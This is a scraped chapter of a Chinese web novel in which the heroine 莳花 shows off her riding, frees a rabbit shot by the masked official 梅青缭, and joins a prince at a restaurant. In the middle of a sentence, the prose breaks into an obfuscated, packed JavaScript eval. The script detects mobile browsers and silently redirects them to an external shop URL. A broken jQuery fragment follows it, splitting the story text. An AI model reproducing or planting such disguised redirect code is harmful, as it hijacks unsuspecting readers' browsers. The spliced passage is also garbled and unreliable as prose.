文趣网 > 其他小说 > 此花不寂 > 15. 第 15 章
    沈栖影是亲眼见到莳花食指大动、胃口大开的样子的,于是问她:“要不休憩一会,消消食再上场。”

    莳花摆了摆手,道:“不用,现在就是最好的时机。”

    她转身走向不远处的马厩,拍了拍正在埋头苦吃的爱马,心道这马也是随主人,实在贪吃。

    莳花牵过缰绳,道:“追雪,走了。”

    她没有借助脚蹬,而是纤腰一拧,素手在马鞍上倏然一按,衣摆旋开如骤放的墨菊。下一瞬,便已稳稳落在马背上,整个过程如行云流水,没有丝毫迟疑。

    那身后飘飞的长发和发间青绿的发带,在空中划过一道利落的弧线。

    马上的女子背脊挺直如修竹,颈项微扬。她凝视前方,唇角噙着一丝若有若无的淡然,仿佛这天地穹苍,皆在她驰骋的方寸之间。

    女子并非死死拽住缰绳,而是纤指收放自如,仿佛在与座下骏无声交谈。马首的每一次偏转,都回应着她指尖最细微的力道。

    她的身体随着马的节奏轻盈起伏,宛如与骏马融为一体。

    尘土在她身后扬起,而她破开风浪,一往无前,周身散发着一种不羁与自由的强烈气场,美得极具冲击力。

    她的美,糅合了柔韧与刚健,在马蹄翻飞间,绽放出令人屏息的锋芒。

    此刻的莳花,像流动的诗与剑。

    ……

    待遥遥扫荡了一圈回来时,树下站着面无表情的一人、表情夸张的一人以及看不见表情的一人。

    身下的马儿“吭哧吭哧”喘着粗气,也不忘扬起头颅,骄傲地嚼起方才嘴里衔着还未来得及吞入腹的草。

    莳花利落地翻身下马,便听得兰因哗啦啦鼓起掌来,每一下都鼓得很用力,那气势排山倒海一般。

    莳花看向一旁的女子。

    沈栖影的脸上说是“面无表情”倒也不尽然,仔细看能发觉她眼中隐约的惊羡。

    而最旁边的那人,戴着面具,是真的看不见丝毫表情了。

    五皇子鼓过掌还不算,还得称道一句“巾帼不必让须眉”才算完。

    莳花的心情称得上不错,意外地搭理了他一句。

    “五殿下今日这是……也来骑马?”

    却见兰因斜斜握着扇子,摇了摇头,回答道:“不,我今日是想请梅爱卿为我猎只兔子的。”

    莳花愣了愣,想这五皇子也是平易近人,自称不用“本王”,唤梅青缭作“爱卿”,前头还缀了个“请”字,要多尊敬有多尊敬。

    梅青缭怎么看都只是个陪玩吧。

    她内心鄙夷着,却见梅长使侧身牵了匹通体雪白的马来。

    他牵缰而立,衣袂因两侧开衩而微微飘动,宛如山岳般沉稳。紧束的衣物和腰带凸显出他宽厚的肩膀与窄紧的腰身。

    下一瞬,青年翻身上马,一样的干净利落。

    他懒懒地拾起弓箭,一只手松松握着缰绳,手背上筋骨明显,指骨突出,青筋隐在皮肉下,显出隐约的脉络。

    白马扬了一下尾巴,被牵引着转身。

    他策马奔腾,衣袍因高速而向后飘扬,猎猎作响,更显其身形与马背融为一体,充满了速度感与掌控力。每一个动作——转身、俯身、引弓——都因这身劲装而变得流畅无比。

    伴随着簌簌的风声与凛冽的箭意,那支箭穿透虚空,带着干燥的、肃杀的气息,隔着百米,遥遥射中一只正在跃动的生物。

    梅青缭纵马过去,俯身擒起。

    ……

    带回来的俨然是一只白兔,即使中了箭,仍发挥着此生最大的求生意志,奋力挣脱着青年虚握的五指。

    他脸上戴着那张牙舞爪的面具,头微微侧转向兰因那一面,等人说话。

    兰因喜上眉梢,正想来一句“这野兔放火上炙烤一番最是滋味”,转头就撞见莳花微沉的神色。

    他顿了顿,问道:“莳女郎,怎么了吗?”

    莳花盯着青年指间奋力挣扎的兔子,默然片刻,道:“不怕殿下扫兴,我见了这只兔子,恰如见到我那亲亲的表妹,实在……于心不忍。”

    余幼仪的真身是只兔子,若是哪日不慎化作原形被人攥在掌中,眼眶里又噙了一窝汪汪的泪,那可真是,叫天天不灵,叫地地不应了。

    说来也怪,她在现代也爱吃烤兔肉,到了这处,真切见到了,反倒束手束脚起来。

    莳花转过身,寻找身后的女子。谁料沈栖影竟也真的顺着她的话,点了点头。

    兰因一拍手掌,道:“我都忘了今日两位女郎在场,不宜见血腥,是本王的疏忽,那还说什么……”

    他的声音登时又是一顿,似乎终于想起这兔子是梅青缭猎的,不管怎样,还得先问过他的意思,于是侧身,有些尴尬地望向青年。

    那人戴着青面獠牙的面具,看不见神情,却毫不迟疑、干脆利落地松了手,沉沉道:“那便放了罢。”

    兔子身上还插着箭,如获大赦,却只能在地上蹒跚几步。

    兰因挥了挥手,招来随行的医师抱走兔子诊治。

    莳花看见青年的视线透过面具沉沉地落在她身上,缄默半晌,开口对着他道:“我以为你又要说我‘妇人之仁’。”

    梅青缭盯着她看了片刻,最后移开视线,没有说话。

    凭他那副样子,不挑刺还真是令人意外。

    不过也有可能早就在心里挑完了。

    兰因先打破了这寂静的图景,似乎又捡回话痨子的场子,指着莳花那匹紫叱拨,大喇喇道:“莳女郎,你这马分明通体乌黑,毛色还带了点紫,为何起名作‘追雪’呀?”

    没等莳花回答,他又一抚手掌,道:“不过你这取名方式倒是和梅爱卿别无二致,他那匹白马,竟唤作‘即墨’,你说好不好笑?”

    莳花沉默了,没想到这世上有人跟自己有着一样的恶趣味,眼珠子滴溜溜一转,偷着瞥了一旁的青年一眼。

    莳花:……好笑我也不敢笑吧。

    两位主人都没说什么,那两匹马倒是不乐意了,也不管他是劳什子皇子,天王老子来了也不管用,四只鼻孔冲着兰因“哼哧”几声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608542|205828||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,性子大得很。

    兰因扇子挡着脸,后退几步,闷闷道:“你们这马得驯了哈,本王就从不骑不温顺的马。”

    莳花眉眼间带了笑意,拍了拍追雪的脑袋,那马登时转头将脑门置于女子的掌下,竟依偎着撒娇了。

    兰因看得目瞪口呆,扇子一拍掌心,道:“你二人既都有此等精妙绝伦的骑术,若是日后父皇办狩猎大会,本王定要你们上场!”

    莳花木着脸,心想可别了吧,丢脸丢大发了。

    这位五皇子颇不会看人脸色,最后抚掌道:“得,咱们谁也别在这耗着了,既然兔肉吃不成,今日本王请客,带你们去吃更好的!”

    ·

    半个时辰后,四人一齐坐在了饮春斋的天字号包厢内——

    莳花端详着面前的屏风,那叫一个雅致!

    她想起上回带着那只颇有灵气的白猫来时,坐的还是楼下的大厅,摩肩接踵的,吃顿饭热出了一身汗。

    莳花看着面前光速呈上来的满桌子菜,心里一阵唏嘘。

    兰因大手一挥,乐呵呵道:“今日得幸遇到两位天仙,咱们不醉不归!”

    说完,这位五皇子就抄起桌上的银酒壶,先给莳花斟了满满一杯酒。

    他看着莳花,伸出手,笑眯眯道:“莳女郎,请。”

    这怕不是没开始喝就醉了吧?

    莳花见他没有下一步动作,而是一直维持着“请”的手势,好像不看着她给个面子喝下那杯酒就不罢休似的。

    她灵机一动,佯装无奈般叹了口气,顺势接过酒壶,俯身往梅青缭的酒杯里斟了酒,又给身旁的沈栖影也斟满。

    最后道:“只给我的酒杯注满算什么意思,殿下可不能厚此薄彼呀。”

    兰因摸了摸鼻子,讪讪一笑,说:“……你说的是。”

    女子这才满意地拾起筷子,正要夹菜,突然间想到什么,往梅青缭那个方向乜了一眼。

    那位面具男正静静地面对着一大桌子菜,也没有动筷的意思。

    那么问题来了,这位梅长使戴的可是全包围的面具,从额头到下巴都封得严严实实,只露了双眼睛和出气的孔。

    如何进食呢?

    五皇子和沈栖影似乎也注意到了这个事实,三人齐刷刷转向神秘的长使大人的方向,三道视线粘在他那张青面獠牙的面具上,场景一度很诡异。

    莳花作为在场唯一一个一睹过长使芳容的,心里狡黠地偷笑了一声。

    其实这五皇子也有可能不是心血来潮才带他们来饭店的,也许是早有预谋,就为了等这一刻找个借口迫使这位长使大人摘下面具一睹真容。

    莳花扫了眼兰因,心想,谁说男孩没心机。

    兰因脸上浮现几分尴尬的神色,替自己找补道:“梅长使,这实非我本意啊……”

    这位众矢之的的面具男缄默地听了良久,指尖有一搭没一搭地叩击着桌沿,最后不急不缓启唇道:“稍等。”

    说罢,三人只见他站起身,走到包厢内的屏风后面,看不见影子。